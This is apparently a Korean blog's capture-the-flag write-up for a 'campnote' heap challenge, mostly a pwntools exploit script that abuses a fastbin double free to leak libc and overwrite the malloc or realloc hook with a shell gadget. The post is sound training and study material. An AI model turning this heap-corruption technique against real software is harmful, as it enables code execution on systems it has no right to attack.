Profile

youngsouk

youngsouk

[hackingcamp2019]

from pwn import *

#p = process('./campnote')
p = remote("pwnable.shop", 20202)
e = ELF('./campnote')
l = e.libc

context.log_level="debug"

def malloc(size, content):
        p.sendlineafter('>>','1')
        p.sendlineafter('size >> ',str(size))
        p.sendlineafter('data >> ',str(content))

def free(index):
        p.sendlineafter('>>','2')
        p.sendlineafter('index >> ', str(index))

def show(index):
        p.sendlineafter('>>','3')
        p.sendlineafter('index >> ', str(index))


size = 0x7f - 24
malloc(size,1)
malloc(size,'a' *8 + p64(e.got['puts']))
malloc(1024,1)
malloc(1024,1)

free(2)
free(0)
free(1)
free(0)

show(2)
p.recvuntil('data >> ')
libc = u64(p.recv(6).ljust(8,'\x00')) - 88 - 16 - l.sym['__malloc_hook']
log.info('libc : '+ hex(libc))

victim = libc + l.sym['__realloc_hook'] - 11 - 16

log.info('victim_chunk_ptr : ' + hex(victim))

malloc(size, p64(victim))
malloc(size,1)
malloc(size,1)

malloc(size, 'a' * 0x13 + p64(libc +0xf02a4))
free(1)
free(1)

이 바이너리는 찾을 수 없었다.ㅠㅠㅠㅠㅠㅠㅠㅠ 나중에 찾으면 올리겠습니다. 이 문제는 tcache를 상요하였는데 내 가상머신이 16.04여서 디버깅 1번 못해보고 익스를 짜야 되었다. 이 문제도 camp_note때처럼 풀면 된다. 다만 다른 점은 size를 맞추어주지 않고, fd부분에 prev_size와 size를 지난 부분의 주소를 주어야한다는 것입니다.

'CTF write-up' 카테고리의 다른 글

Tokyo Western CTF 2017 - Parrot  (0) 2019.10.02
[hackingcamp2019]bonus  (0) 2019.08.25
[hackingcamp2019]camp_note  (0) 2019.08.25
[dimi_ctf]ezheap  (0) 2019.07.15
[dimi_ctf]ropasaurusrex2  (0) 2019.07.15